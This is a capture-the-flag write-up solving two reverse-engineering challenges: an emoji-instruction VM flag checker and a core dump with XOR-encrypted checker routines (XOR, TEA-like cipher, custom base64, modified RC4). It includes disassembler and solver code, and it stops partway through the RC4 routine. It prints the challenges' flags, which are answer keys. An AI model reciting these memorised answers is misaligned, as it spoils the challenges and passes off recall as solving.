This challenge was a VM implemented where every instruction was an emoji. For the first part of the challenge we had to reverse a flag checker program written in this instruction set.

The challenge

The following emojis where mapped the following instructions:

NOP: 🈳
ADD: ➕
SUB: ➖
MUL: ❌
MOD: ❓ 
XOR: ❎
AND: 👫
IS_LESS: 💀
IS_EQ: 💯
JMP: 🚀
JMP_IF: 🈶
JMP_IF_FALSE: 🈚
PUSH_EMOJI: ⏬
POP: 🔝
LD: 📤
ST: 📥
NEW: 🆕
FREE: 🆓
READ: 📄
POP_OBJ: 📝
FLUSH: 🔡
POP_INT64: 🔢
EXIT: 🛑

And to the following values:

0: 😀
1: 😁
2: 😂
3: 🤣
4: 😜
5: 😄
6: 😅
7: 😆
8: 😉
9: 😊
10: 😍

The disassembler

The following code disassembles the chal.evm file and outputs the disassembly.

It also skips NOPs and constant numeric operations (additional and multiply), so single-digit constants converted into their original number.

enum OpCode { NOP, ADD, SUB, MUL, MOD, XOR, AND, IS_LESS, IS_EQ, JMP, JMP_IF, JMP_IF_FALSE,
              PUSH_EMOJI, POP, LD, ST, NEW, FREE, READ, POP_OBJ, FLUSH, POP_INT64, EXIT, 
              NUM_0, NUM_1, NUM_2, NUM_3, NUM_4, NUM_5, NUM_6, NUM_7, NUM_8, NUM_9, NUM_10,
              PUSH_VAL, STORE_OBJ_VAL };

class Instruction
{
    public OpCode OpCode { get; set; }
    public long Value { get; set; }
    public int FileOffset { get; set; }
    public int InstructionIdx { get; set; }
    public bool IsNum => OpCode.NUM_0 <= OpCode && OpCode <= OpCode.NUM_10;
    public bool IsPush => OpCode == OpCode.PUSH_EMOJI || OpCode == OpCode.PUSH_VAL;

    public int ObjectIdx { get; set; }
    public int ByteIdx { get; set; }
    public bool IsStore => OpCode == OpCode.ST;

    public override string ToString() => 
        OpCode == OpCode.PUSH_VAL ? $"PUSH {Value}" : 
        OpCode == OpCode.STORE_OBJ_VAL ? $"obj{ObjectIdx}[{ByteIdx}] = {Value}" : 
        $"{OpCode}";

    public static Instruction Push(long argument, Instruction orig = null) => 
        new Instruction() { OpCode = OpCode.PUSH_VAL, Value = argument, FileOffset = orig?.FileOffset ?? 0, 
            InstructionIdx = orig?.InstructionIdx ?? 0 };
    public static Instruction Store(int objectIdx, int byteIdx, long value) => 
        new Instruction() { OpCode = OpCode.STORE_OBJ_VAL, ObjectIdx = objectIdx, ByteIdx = byteIdx, Value = value };
}

class InstrFilter
{
    public int SourceLen { get; set; }
    public Func<Instruction[], bool> Matcher { get; set; }
    public Func<Instruction[], Instruction> Converter { get; set; }

    public InstrFilter(int sourceLen, Func<Instruction[], bool> tester, Func<Instruction[], Instruction> converter)
    {
        SourceLen = sourceLen;
        Matcher = tester;
        Converter = converter;
    }
}

static void EmojiDecode()
{
    var baseDir = @"g:\Dropbox\hack\hitcon19\challs\emojivm_reverse\";
    var opCodes = File.ReadAllLines($"{baseDir}opcodes_enc.txt").Select(
          (codePoint, i) => new { codePoint, opCode = (OpCode)i }).ToArray();

    var prgSrc = File.ReadAllText($"{baseDir}chal.evm");
    var prg0 = new List<Instruction>();
    for (int i = 0; i < prgSrc.Length;)
    {
        var opCodeInfo = opCodes.Single(x => prgSrc.Substring(i, x.codePoint.Length) == x.codePoint);
        prg0.Add(new Instruction() { FileOffset = i, InstructionIdx = prg0.Count, OpCode = opCodeInfo.opCode });
        i += opCodeInfo.codePoint.Length;
    }

    Instruction[] RunFilters(Instruction[] source, InstrFilter[] filters)
    {
        var tail = new Instruction[10];
        for (int i = 0; i < source.Length;)
        {
            var hadMatch = false;
            foreach (var filter in filters)
            {
                var filterInput = source.Skip(i).Concat(tail).Take(filter.SourceLen).ToArray();
                if (filter.Matcher(filterInput))
                {
                    source = source.Take(i).Concat(new[] { filter.Converter(filterInput) })
                        .Concat(source.Skip(i + filter.SourceLen)).ToArray();
                    hadMatch = true;
                    break;
                }
            }

            if (!hadMatch)
                i++;
        }
        return source;
    }

    Instruction[] RunFiltersMulti(Instruction[] source, InstrFilter[] filters)
    {
        while (true)
        {
            var oldSourceLen = source.Length;
            source = RunFilters(source, filters);
            if (source.Length == oldSourceLen)
                break;
        }
        return source;
    }

    var prg1 = RunFiltersMulti(prg0.ToArray(), new[]
    {
        new InstrFilter(2, ins => ins[0].IsPush && ins[1].IsNum, 
            ins => Instruction.Push(ins[1].OpCode - OpCode.NUM_0, ins[0])),

        new InstrFilter(3, ins => ins[0].IsPush && ins[1].IsPush && ins[2].OpCode == OpCode.MUL, 
            ins => Instruction.Push(ins[0].Value * ins[1].Value, ins[0])),

        new InstrFilter(3, ins => ins[0].IsPush && ins[1].IsPush && ins[2].OpCode == OpCode.ADD,
            ins => Instruction.Push(ins[0].Value + ins[1].Value, ins[0])),
    });

    var prg2 = RunFiltersMulti(prg1, new[] { new InstrFilter(4, 
          ins => ins[0].IsPush && ins[1].IsPush && ins[2].IsPush && ins[3].OpCode == OpCode.ST, 
          ins => Instruction.Store((int)ins[2].Value, (int)ins[1].Value, ins[0].Value)) });

    var prg1src = prg1.Select(x => $"{x.InstructionIdx}: {x}").ToArray();
    File.WriteAllLines($"{baseDir}prg1src.txt", prg1src);
}

The manually decompiled code

The disassembed code was manually decompiled to this more readable version:

3:    obj0 = new(60)

12:   obj0 = "*************************************\n\0"
675:  print(pop) obj0
678:  obj0 = "*                                   *\n\0"
1341: print(pop) obj0
1344: obj0 = "*             Welcome to            *\n\0"
2070: print(pop) obj0
2073: obj0 = "*        EmojiVM 😀😁🤣🤔🤨😮       *\n\0"
3216: print(pop) obj0
3219: obj0 = "*       The Reverse Challenge       *\n\0"
4017: print(pop) obj0
4020: obj0 = "*                                   *\n\0"
4683: print(pop) obj0
4686: obj0 = "*************************************\n\0"
5349: print(pop) obj0
5352: obj0 = "\n\0\0"
5373: print(pop) obj0
5376: obj0 = "Please input the secret:\0"
5951: print(pop) obj0

5954: obj1 = new(30)
5963: obj2 = new(30)
5972: obj3 = new(30)
5981: obj4 = new(30)

5990: obj2 = "\x18\x05\x1d\x10\x42\x09\x4a\x24\x00\x5b\x08\x17\x40\x00\x72\x30\x09\x6c\x56\x40\x09\x5b\x05\x1a\x00" (len=25)
6363: obj4 = "\x8e\x63\xcd\x12\x4b\x58\x15\x17\x51\x22\xd9\x04\x51\x2c\x19\x15\x86\x2c\xd1\x4c\x84\x2e\x20\x06\x00" (len=25)

6808: obj1 = input = READ()

6811: obj5 = new(5)  ==>  VAR0 (input_len = 0), VAR1 (input_idx = 0), VAR2 (idx_mod4 = 0), VAR3, VAR4

6814: JMP 7052(==inputEnd)     if (input[input_idx] == '\0')
6870: JMP 6997(==inputNewLine) if (input[input_idx] == '\n')

6926: input_len++
6939: input_idx++
6981: JMP 6814

inputNewLine:
  6997: input[input_idx] = '\0'
  7036: JMP 7052(==inputEnd)

inputEnd:
  7052: JMP 8550(==FAIL) if (input_len != 24)

# check dashes (format: ABCD-EFGH-IJKL-MNOP-QRST)
7111: input_idx = 0
7118: JMP 7294(==checkDash) if ((input_idx+1) % 5 == 0)

7177: input_idx++
7190: JMP 7118 if (input_idx < 24)
7278: JMP 7401(==dashesAreOkay)

checkDash:
  7294: JMP 8550(==FAIL) if (input[input_idx] != '-')

7385: JMP 7177

dashesAreOkay:
  7401: input_idx = 0
  7408: idx_mod4 = input_idx % 4
  7421: JMP 7750(==mod4_0) if (idx_mod4 == 0)
  7474: JMP 7820(==mod4_1) if (idx_mod4 == 1)
  7527: JMP 7887(==mod4_2) if (idx_mod4 == 2)
  7580: JMP 7969(==mod4_3) if (idx_mod4 == 3)

bigLoop1:
  7633: input_idx++
  7646: JMP 7408 if (input_idx < 24)

  7734: JMP 8075

mod4_0:
  7750: input[input_idx] + 30
  7767: obj3[input_idx] = input[input_idx] + 30
  7804: JMP 7633(==bigLoop1)

mod4_1:
  7820: obj3[input_idx] = (input[input_idx] - 8) ^ 7
  7871: JMP 7633(==bigLoop1)

mod4_2:
  7887: obj3[input_idx] = ((input[input_idx] + 44) ^ 68) - 4
  7953: JMP 7633(==bigLoop1)

mod4_3:
  7969: obj3[input_idx] = (input[input_idx] ^ 101) ^ (172 & 20)
  8059: JMP 7633(==bigLoop1)


8075: input_idx = 0
8082: idx_mod4 = 0
8089: JMP 8284 if (obj3[input_idx] == obj4[input_idx])


8151: idx_mod4--
8167: input_idx++
8223: JMP 8089 if (input_idx < 24)


8268: JMP 8342


8284: idx_mod4++
8326: JMP 8167


8342: JMP 8550(==FAIL) if (idx_mod4 != 24)


8401: input_idx = 0

decodeFlag:
  8408: obj2[input_idx] ^= input[input_idx]
  8433: input_idx++
  8446: JMP 8408(==decodeFlag) if (input_idx < 24)


8534: JMP 8700(==WIN)

fail:
  8550: obj0 = "😭\n\0" (LOUDLY CRYING FACE)
  8652: print(pop) obj0
  8684: JMP 8825(==EXIT)

win:
  8700: obj0 = "😍\n\0" (smiling face with heart-shaped eyes)
  8802: print(pop) obj0
  8805: print(pop) obj2
  8808: obj0 = "\n\0"
  8822: print(pop) obj0
  8825: EXIT

Reversing the flag checker

So the important part of the above code is that it takes our input, converts it byte-by-byte with 4 separate functions (uses the algorithm based on input byte’s index mod 4) and compares to the expected value.

And the “dash checking” parts are actually was misinterpreted by me while reversing the challenge, I did not really realize this until I wrote this writeup.. :D

Solver

The following code reverses the conversion operation and gives us the flag:

var flagKey = EncodingHelper.GetBytes("\x18\x05\x1d\x10\x42\x09\x4a\x24\x00\x5b\x08\x17\x40\x00\x72\x30\x09\x6c\x56\x40\x09\x5b\x05\x1a\x00");
var toMatch = EncodingHelper.GetBytes("\x8e\x63\xcd\x12\x4b\x58\x15\x17\x51\x22\xd9\x04\x51\x2c\x19\x15\x86\x2c\xd1\x4c\x84\x2e\x20\x06\x00");
var input = toMatch.Select((x,i) => (byte)(
    i % 4 == 0 ? x - 30 : 
    i % 4 == 1 ? (x ^ 7) + 8 : 
    i % 4 == 2 ? ((x + 4) ^ 68) - 44 :
    x ^ 101 ^ (172 & 20))).ToArray();
var flag = EncodingHelper.GetString(CryptoUtils.XorEqual(flagKey, input));

The flag

hitcon{R3vers3_Da_3moj1}

So this challenge was around that we got a Core file instead of a runnable linux binary which checked our flag.

To be frank, I don’t really know what difference should it mean, maybe the file cannot be run and debugged this way? As for someone who usually reverse-engineer binaries statically first and I only use gdb for secondary analysis of more complex code parts, it did not really mean any difference I think.

The main function

First step was to find out the main, which I had no idea how to do in (larger) core dump file, so I searched for xor instructions where I kind of failed to find the real main, so then I searched the strings in the binary and found ones like Congratz ! The flag is hitcon{%s} :) which of course give me instant success of finding the real main via cross-referencing the usages of this symbol. The main was at sub_555555554C7E.

I reverse-engineered the main function and got this code:

00000000 CodeStruct      struc ; (sizeof=0x10, mappedto_34)
00000000 codePtr         dq ?
00000008 xorKeyAndLen    dq ?
00000010 CodeStruct      ends

void __fastcall sub_555555554C7E(__int64 a1, __int64 a2)
{
  signed int i; // [rsp+10h] [rbp-140h]
  char *flagPtr; // [rsp+18h] [rbp-138h]
  __int64 basePtr; // [rsp+28h] [rbp-128h]
  CodeStruct codes[5]; // [rsp+30h] [rbp-120h]
  char flagBuffer[55]; // [rsp+80h] [rbp-D0h]
  int v7; // [rsp+B8h] [rbp-98h]
  char tmpBuf[55]; // [rsp+C0h] [rbp-90h]
  int v9; // [rsp+F8h] [rbp-58h]
  __int64 v10; // [rsp+100h] [rbp-50h]
  __int64 v11; // [rsp+108h] [rbp-48h]
  __int64 v12; // [rsp+110h] [rbp-40h]
  __int64 v13; // [rsp+118h] [rbp-38h]
  __int64 v14; // [rsp+120h] [rbp-30h]
  __int64 v15; // [rsp+128h] [rbp-28h]
  __int64 v16; // [rsp+130h] [rbp-20h]
  int v17; // [rsp+138h] [rbp-18h]
  unsigned __int64 canary; // [rsp+148h] [rbp-8h]

  canary = __readfsqword(0x28u);
  setOutputBuffering(qword_7FFFF7DCFA00, 0LL, 2LL, 0LL);
  setOutputBuffering(qword_7FFFF7DD0760, 0LL, 2LL, 0LL);
  setOutputBuffering(qword_7FFFF7DD0680, 0LL, 2LL, 0LL);
  codes[0].codePtr = (char *)code1;
  codes[1].codePtr = (char *)code2;
  codes[2].codePtr = (char *)code3;
  codes[3].codePtr = (char *)code4;
  codes[4].codePtr = (char *)code5;
  for ( i = 1; i <= 5; ++i )
  {
    // packs xorKey and len values into codes[i].xorKeyAndLen
    *((_DWORD *)&basePtr + 4 * i) = codeXorKeys[i - 1];
    *((_DWORD *)&basePtr + 4 * i + 1) = codeLengths[i - 1];
  }
  basePtr = 0x1100000000LL;
  if ( (unsigned int)RUN_TEST_CODE(testCode, 0x1100000000LL) == 0x1337 )
  {
      // ... zeroes out stack values ...
    flagPtr = flagBuffer;
    printf("Please enter the flag: ");
    read(0LL, flagBuffer, 55LL);
    while ( *flagPtr )
    {
      if ( *flagPtr == '\n' || *flagPtr == '\r' )
      {
        *flagPtr = 0;
        break;
      }
      ++flagPtr;
    }
    if ( (unsigned int)strlen(flagBuffer) != 52 )
      fail();
    copyString(tmpBuf, flagBuffer, 10);
    RUN_ENC_CODE_WITH_2_ARGS(codes[0].codePtr, codes[0].xorKeyAndLen, tmpBuf, 10LL);
    zeroBuffer(tmpBuf, 55);
    copyString(tmpBuf, &flagBuffer[10], 8);
    RUN_ENC_CODE_WITH_1_ARG(codes[1].codePtr, codes[1].xorKeyAndLen, tmpBuf);
    zeroBuffer(tmpBuf, 55);
    copyString(tmpBuf, &flagBuffer[18], 18);
    RUN_ENC_CODE_WITH_2_ARGS(codes[2].codePtr, codes[2].xorKeyAndLen, tmpBuf, 18LL);
    zeroBuffer(tmpBuf, 55);
    copyString(tmpBuf, &flagBuffer[36], 12);
    RUN_ENC_CODE_WITH_2_ARGS(codes[3].codePtr, codes[3].xorKeyAndLen, tmpBuf, 12LL);
    zeroBuffer(tmpBuf, 55);
    copyString(tmpBuf, &flagBuffer[48], 4);
    RUN_ENC_CODE_WITH_1_ARG(codes[4].codePtr, codes[4].xorKeyAndLen, tmpBuf);
    printf("Congratz ! The flag is hitcon{%s} :)\n", flagBuffer, a2);
  }
  else
  {
    putsMaybe("Test failed !");
  }
  if ( __readfsqword(0x28u) != canary )
    stackCheckFail();
}

So our flag will be 52 characters long (without hitcon{}), and it is splitted into 5 parts with the following lengths: 10, 8, 18, 12, 4.

There are 5 separate checker code called for every flag part.

The RUN_ENC_CODE_WITH_1_ARG and RUN_ENC_CODE_WITH_2_ARGS methods decrypt these encrypted flag part checker function’s bytecode with a 4-byte repeating XOR key and then call them with 1 or 2 args. As you can see from the code above, the first argument was always the flag (part) buffer’s address, while the second (if used) was the buffer’s length.

Although it is clearly visible from the code where the XOR key comes from:

load:0000555555756AE0 ; unsigned int codeXorKeys[5]
load:0000555555756AE0 codeXorKeys  dd 8EB5034Ah, 0C6FFDA44h, 85EA3FE1h, 42AD9EF2h, 77E2535Ch
load:0000555555756AE0                             ; DATA XREF: sub_555555554C7E+FEo
load:0000555555756B00 codeLengths  dd 10Bh, 1B1h, 2E4h, 3E6h, 0BFh
load:0000555555756B00                             ; DATA XREF: sub_555555554C7E+134o

I must have some brainfart or something at the time of the competition because I somehow did not use the XOR key during the competition (I assumed we don’t know these values - I just discovered them now at the time of writing this writeup… #fail) so instead of using these values I assumed every code part will start with

55                                push    rbp
48 89 E5                          mov     rbp, rsp

and simply calculated the XOR key from the first 4 ciphertext ^ plaintext bytes:

var baseDir = @"g:\Dropbox\hack\hitcon19\challs\coredump\";
var code = File.ReadAllBytes($"{baseDir}core-3c5a47af728e9968fd7a6bb41fbf573cd52677bc");

var xorKeyTest = CryptoUtils.Xor(code.Skip(0x4A6C).Take(4).ToArray(), new byte[] { 0x55, 0x48, 0x89, 0xE5 });
for (int i = 0; i < 0x11;  i++) code[0x4A6C + i] ^= xorKeyTest[i % 4]; // testCode

var xorKeyCode1 = CryptoUtils.Xor(code.Skip(0x3FCC).Take(4).ToArray(), new byte[] { 0x55, 0x48, 0x89, 0xE5 });
for (int i = 0; i < 0x10B; i++) code[0x3FCC + i] ^= xorKeyCode1[i % 4]; // code1

var xorKeyCode2 = CryptoUtils.Xor(code.Skip(0x40EC).Take(4).ToArray(), new byte[] { 0x55, 0x48, 0x89, 0xE5 });
for (int i = 0; i < 0x1B1; i++) code[0x40EC + i] ^= xorKeyCode2[i % 4]; // code2

var xorKeyCode3 = CryptoUtils.Xor(code.Skip(0x42AC).Take(4).ToArray(), new byte[] { 0x55, 0x48, 0x89, 0xE5 });
for (int i = 0; i < 0x2E4; i++) code[0x42AC + i] ^= xorKeyCode3[i % 4]; // code3

var xorKeyCode4 = CryptoUtils.Xor(code.Skip(0x45AC).Take(4).ToArray(), new byte[] { 0x55, 0x48, 0x89, 0xE5 });
for (int i = 0; i < 0x3E6; i++) code[0x45AC + i] ^= xorKeyCode4[i % 4]; // code4

var xorKeyCode5 = CryptoUtils.Xor(code.Skip(0x49AC).Take(4).ToArray(), new byte[] { 0x55, 0x48, 0x89, 0xE5 });
for (int i = 0; i < 0xBF;  i++) code[0x49AC + i] ^= xorKeyCode5[i % 4]; // code5
File.WriteAllBytes($"{baseDir}decrypted", code);

Well, whatever, after decryption, I reverse-engineered the various checker functions.

Checker #1

This is the decompiled and somewhat renamed first checker function:

__int64 __fastcall sub_555555756020(char *input, int inputLen)
{
  __int64 result; // rax
  __int64 v3; // rsi
  unsigned __int64 v4; // rt1
  int i; // [rsp+18h] [rbp-48h]
  int j; // [rsp+18h] [rbp-48h]
  unsigned int success; // [rsp+1Ch] [rbp-44h]
  char xorKey[4]; // [rsp+20h] [rbp-40h]
  char encData[10]; // [rsp+25h] [rbp-3Bh]
  char v10; // [rsp+2Fh] [rbp-31h]
  char tmpBuf[10]; // [rsp+30h] [rbp-30h]
  __int64 v12; // [rsp+40h] [rbp-20h]
  int v13; // [rsp+48h] [rbp-18h]
  __int16 v14; // [rsp+4Ch] [rbp-14h]
  unsigned __int64 canary; // [rsp+58h] [rbp-8h]

  canary = __readfsqword(0x28u);
  strcpy(xorKey, "DuMb");
  *(_QWORD *)tmpBuf = 0LL;
  *(_QWORD *)&tmpBuf[8] = 0LL;
  v12 = 0LL;
  v13 = 0;
  v14 = 0;
  *(_QWORD *)encData = 0x413317635722649LL;
  *(_WORD *)&encData[8] = 0x5E4E;
  v10 = 0;
  success = 1;
  for ( i = 0; i < inputLen; ++i )
    tmpBuf[i] = (xorKey[i % 4] - 7) ^ input[i];
  for ( j = 0; j < inputLen; ++j )
  {
    if ( tmpBuf[j] != encData[j] )
      success = 0;
  }
  result = success;
  v4 = __readfsqword(0x28u);
  v3 = v4 ^ canary;
  if ( v4 != canary )
    result = (*(__int64 (__fastcall **)(char *, __int64))stackCheckFail)(input, v3);
  return result;
}

It’s a simple repeating XOR cipher with the key DuMb == 0x624D7544 modified by subtracting 7 from every key byte.

Decrypted with the following code:

var flagPart1 = EncodingHelper.GetString(CryptoUtils.Xor(
        Conversion.HexToBytes("49 26 72 35 76 31 13 04 4E 5E".Replace(" ", "")), 
        BitConverter.GetBytes(0x624D7544).Select(x => (byte)(x - 7)).ToArray()));

And got the first part of our flag: tH4nK_U_s0.

Checker #2

The decompiled code:

__int64 __fastcall sub_555555756140(char *input)
{
  __int64 result; // rax
  __int64 v2; // rsi
  unsigned __int64 v3; // rt1
  unsigned int inputPart1; // [rsp+14h] [rbp-5Ch]
  unsigned int inputPart2; // [rsp+18h] [rbp-58h]
  signed int iRound; // [rsp+1Ch] [rbp-54h]
  unsigned int v7; // [rsp+20h] [rbp-50h]
  unsigned int v8; // [rsp+24h] [rbp-4Ch]
  signed int i; // [rsp+28h] [rbp-48h]
  int key[4]; // [rsp+30h] [rbp-40h]
  int encValue[8]; // [rsp+40h] [rbp-30h]
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  v7 = 1;
  encValue[0] = 0x95CB8DBD;
  encValue[1] = 0xF84CC79;
  encValue[2] = 0xB899A876;
  encValue[3] = 0xA5DAB55;
  encValue[4] = 0x9A8B3BBA;
  encValue[5] = 0x70B238A7;
  encValue[6] = 0x72B53CF1;
  encValue[7] = 0xD47C0209;
  for ( iRound = 0; iRound <= 3; ++iRound )
  {
    inputPart1 = (unsigned __int8)input[iRound];
    inputPart2 = (unsigned __int8)input[iRound + 4];
    v8 = 0;
    key[0] = 'C';
    key[1] = '0';
    key[2] = 'R';
    key[3] = '3';
    for ( i = 0; i <= 31; ++i )
    {
      inputPart1 += (((inputPart2 >> 5) ^ 16 * inputPart2) + inputPart2) ^ 
                        (key[v8 & 3] + v8);
      v8 += 0x1337DEAD;
      inputPart2 += (((inputPart1 >> 5) ^ 16 * inputPart1) + inputPart1) ^
                        (key[(v8 >> 11) & 3] + v8);
    }
    if ( inputPart1 != encValue[2 * iRound] )
      v7 = 0;
    if ( inputPart2 != encValue[2 * iRound + 1] )
      v7 = 0;
  }
  result = v7;
  v3 = __readfsqword(0x28u);
  v2 = v3 ^ v12;
  if ( v3 != v12 )
    result = ((__int64 (__fastcall *)(char *, __int64))dword_555555755DEC)(input, v2);
  return result;
}

Hmmm this looked like a Feistel cipher, but as the input was checked by only 2-bytes, I did not really reversed the cipher, simply brute-forced the 4 rounds with the possible 256**2 == 65536 possibilities with the following code:

var key = "C0R3";
var encValue = new uint[8];
encValue[0] = 0x95CB8DBD;
encValue[1] = 0xF84CC79;
encValue[2] = 0xB899A876;
encValue[3] = 0xA5DAB55;
encValue[4] = 0x9A8B3BBA;
encValue[5] = 0x70B238A7;
encValue[6] = 0x72B53CF1;
encValue[7] = 0xD47C0209;

for (var iRound = 0; iRound <= 3; ++iRound)
{
    for (int bf = 0; bf < 256 * 256; bf++)
    {
        var c1 = (char)(bf % 256);
        var c2 = (char)(bf / 256);
        var inputPart1 = (uint)c1;
        var inputPart2 = (uint)c2;
        var v8 = 0;
        for (var i = 0; i <= 31; ++i)
        {
            inputPart1 += (uint)((((inputPart2 >> 5) ^ 16 * inputPart2) + inputPart2) ^ 
                            (key[v8 & 3] + v8));
            v8 += 0x1337DEAD;
            inputPart2 += (uint)((((inputPart1 >> 5) ^ 16 * inputPart1) + inputPart1) ^ 
                            (key[(v8 >> 11) & 3] + v8));
        }

        if (inputPart1 != encValue[2 * iRound])
            continue;
        if (inputPart2 != encValue[2 * iRound + 1])
            continue;
        Console.WriteLine($"Found: {iRound} {c1} {c2}");
    }
}

Which gave me the following result:

Found: 0 _ h
Found: 1 m _
Found: 2 u F
Found: 3 C 0

So the second part of the flag was: _muCh_F0.

Checker #3

The decompiled code:

__int64 __fastcall sub_555555756300(_BYTE *input, int inputLen)
{
  __int64 *v2; // rax
  _BYTE *v3; // ST18_8
  _BYTE *v4; // rax
  _BYTE *v5; // rax
  __int64 result; // rax
  __int64 v7; // rsi
  unsigned __int64 v8; // rt1
  unsigned int v9; // [rsp+10h] [rbp-D0h]
  signed int i; // [rsp+14h] [rbp-CCh]
  __int64 *v11; // [rsp+18h] [rbp-C8h]
  __int64 v13; // [rsp+30h] [rbp-B0h]
  __int64 v14; // [rsp+38h] [rbp-A8h]
  __int64 v15; // [rsp+40h] [rbp-A0h]
  char v16; // [rsp+48h] [rbp-98h]
  __int64 v17; // [rsp+50h] [rbp-90h]
  __int64 v18; // [rsp+58h] [rbp-88h]
  __int64 v19; // [rsp+60h] [rbp-80h]
  __int64 v20; // [rsp+68h] [rbp-78h]
  __int64 v21; // [rsp+70h] [rbp-70h]
  __int64 v22; // [rsp+78h] [rbp-68h]
  __int16 v23; // [rsp+80h] [rbp-60h]
  char charTable[64]; // [rsp+90h] [rbp-50h]
  unsigned __int64 canary; // [rsp+D8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  v20 = 0LL;
  v21 = 0LL;
  v22 = 0LL;
  v23 = 0;
  strcpy(charTable, "*|-Ifnq20! \nAZd$r<Xo\\D/{KC~a4Tz7)Y^:x`\v}Ss1yOmiv#\r%]@[_N(Hj,VQug");
  v13 = '#A_A%Q`4';
  v14 = '}H/A%Z:T';
  v15 = '\vQ[ASm%{';
  v16 = 0;
  v9 = 1;
  v11 = &v17;
  while ( &input[inputLen] - input > 2 )
  {
    v2 = v11;
    v3 = (char *)v11 + 1;
    *(_BYTE *)v2 = charTable[(unsigned __int8)(*input >> 2)];
    v4 = v3++;
    *v4 = charTable[16 * *input & 0x30 | (unsigned __int8)(input[1] >> 4)];
    *v3 = charTable[4 * input[1] & 0x3C | (unsigned __int8)(input[2] >> 6)];
    v5 = v3 + 1;
    v11 = (__int64 *)(v3 + 2);
    *v5 = charTable[input[2] & 0x3F];
    input += 3;
  }
  for ( i = 0; i <= 23; ++i )
  {
    if ( *((unsigned __int8 *)&v17 + i) != *((char *)&v13 + i) )
      v9 = 0;
  }
  result = v9;
  v8 = __readfsqword(0x28u);
  v7 = v8 ^ canary;
  if ( v8 != canary )
    result = (*(__int64 (__fastcall **)(_BYTE *, __int64))byte_555555755DFB)(input, v7);
  return result;
}

Ok, this looked like a custom base64 decoder with a custom charset, so I don’t really reverse-engineered or renamed variables further and as I had such implementation from previous CTFs, I just tried to decode the custom-base64-value with the following code:

var b64table = EncodingHelper.GetString(Conversion.HexToBytes("2A 7C 2D 49 66 6E 71 32 30 21 20 0A 41 5A 64 24 72 3C 58 6F 5C 44 2F 7B  4B 43 7E 61 34 54 7A 37 29 59 5E 3A 78 60 0B 7D  53 73 31 79 4F 6D 69 76 23 0D 25 5D 40 5B 5F 4E  28 48 6A 2C 56 51 75 67  ".Replace(" ", "")));
var b64data = EncodingHelper.GetString(Conversion.HexToBytes("34 60 51 25 41 5F 41 23    54 3A 5A 25 41 2F 48 7D  7B 25 6D 53 41 5B 51 0B".Replace(" ", "")));
var part3 = EncodingHelper.GetString(new Base64Converter(b64table).Decode(b64data));

(b64table = 2A 7C 2D 49 ... == charTable = *|-I…; b64data = 34 60 51 25 == v13-v16 but reversed)

This gave me the third part of the flag: r_r3c0v3r1ng_+h3_f

Checker #4

The decompiled code:

__int64 __fastcall sub_555555756600(__int64 a1, int a2)
{
  int v2; // ST2C_4
  int v3; // ST24_4
  __int64 result; // rax
  __int64 v5; // rsi
  unsigned __int64 v6; // rt1
  int i; // [rsp+10h] [rbp-490h]
  signed int j; // [rsp+10h] [rbp-490h]
  int v9; // [rsp+10h] [rbp-490h]
  int k; // [rsp+10h] [rbp-490h]
  int v11; // [rsp+14h] [rbp-48Ch]
  int v12; // [rsp+14h] [rbp-48Ch]
  unsigned int v13; // [rsp+18h] [rbp-488h]
  int v14; // [rsp+1Ch] [rbp-484h]
  int v15[252]; // [rsp+30h] [rbp-470h]
  __int64 v16; // [rsp+423h] [rbp-7Dh]
  int v17; // [rsp+42Bh] [rbp-75h]
  char v18; // [rsp+42Fh] [rbp-71h]
  __int64 v19; // [rsp+430h] [rbp-70h]
  __int64 v20; // [rsp+438h] [rbp-68h]
  __int64 v21; // [rsp+440h] [rbp-60h]
  __int64 v22; // [rsp+448h] [rbp-58h]
  __int16 v23; // [rsp+450h] [rbp-50h]
  char v24; // [rsp+452h] [rbp-4Eh]
  __int64 v25; // [rsp+460h] [rbp-40h]
  __int64 v26; // [rsp+468h] [rbp-38h]
  __int64 v27; // [rsp+470h] [rbp-30h]
  __int64 v28; // [rsp+478h] [rbp-28h]
  __int64 v29; // [rsp+480h] [rbp-20h]
  __int64 v30; // [rsp+488h] [rbp-18h]
  __int16 v31; // [rsp+490h] [rbp-10h]
  unsigned __int64 v32; // [rsp+498h] [rbp-8h]

  v32 = __readfsqword(0x28u);
  memset(v15, 0, 0x3E8uLL);
  v19 = '0d_sa3lP';
  v20 = '54Rc_t\'n';
  v21 = '!h+_n1_h';
  v22 = '1+CnUf_s';
  v23 = 'n0';
  v24 = 0;
  v25 = 0LL;
  v26 = 0LL;
  v27 = 0LL;
  v28 = 0LL;
  v29 = 0LL;
  v30 = 0LL;
  v31 = 0;
  v16 = 1503432207557809451LL;
  v17 = 0xE57D5243;
  v18 = 0;
  v11 = 0;
  v13 = 1;
  for ( i = 0; i <= 245; ++i )
    v15[i] = i;
  for ( j = 0; j <= 245; ++j )
  {
    v11 = (*((unsigned __int8 *)&v19 + j % 34) + v15[j] + v11) % 246;
    v2 = v15[j];
    v15[j] = v15[v11];
    v15[v11] = v2;
  }
  v14 = 0;
  v9 = 0;
  v12 = 0;
  while ( v14 < a2 )
  {
    v9 = (v9 + 1) % 246;
    v12 = (v15[v9] + v12) % 246;
    v3 = v15[v9];
    v15[v9] = v15[v12];
    v15[v12] = v3;
    *((_BYTE *)&v25 + v14) = v15[(v15[v9] + v15[v12]) % 246] ^ *(_BYTE *)(v14 + a1);
    ++v14;
  }
  for ( k = 0; k < a2; ++k )
  {
    if ( *((_BYTE *)&v25 + k) != *((_BYTE *)&v16 + k) )
      v13 = 0;
  }
  result = v13;
  v6 = __readfsqword(0x28u);
  v5 = v6 ^ v32;
  if ( v6 != v32 )
    result = ((__int64 (__fastcall *)(int *, __int64))loc_555555755E17)(&v15[250], v5);
  return result;
}

Ok now this seemed to be a custom RC4 implementation (the constants 256 from RC4 were modified to 246), so I did not bother to reverse it further. The key (v19) was Pl3as_d0n't_cR45h_1n_+h!s_fUnC+10n.

So I modified my existing RC4 implementation the same way and decrypted the payload:

byte[] CustomRc4(byte[] key, int length)
{
    var result = new byte[length];

    int j = 0;
    var box = new int[246];

    for (int i = 0; i < 246; i++)
        box[i] = i;

    for (int i = 0; i < 246; i++)
    {
        j = (j + box[i] + key[i % key.Length]) % 246;

        var swapTmp = box[i];
        box[i] = box[j];
        box[j] = swapTmp;
    }

    j = 0;
    for (int i = 0; i < length; i++)
    {
        var iBox = (i + 1) % 246;
        j = (j + box[iBox]) % 246;

        var swapTmp = box[iBox];
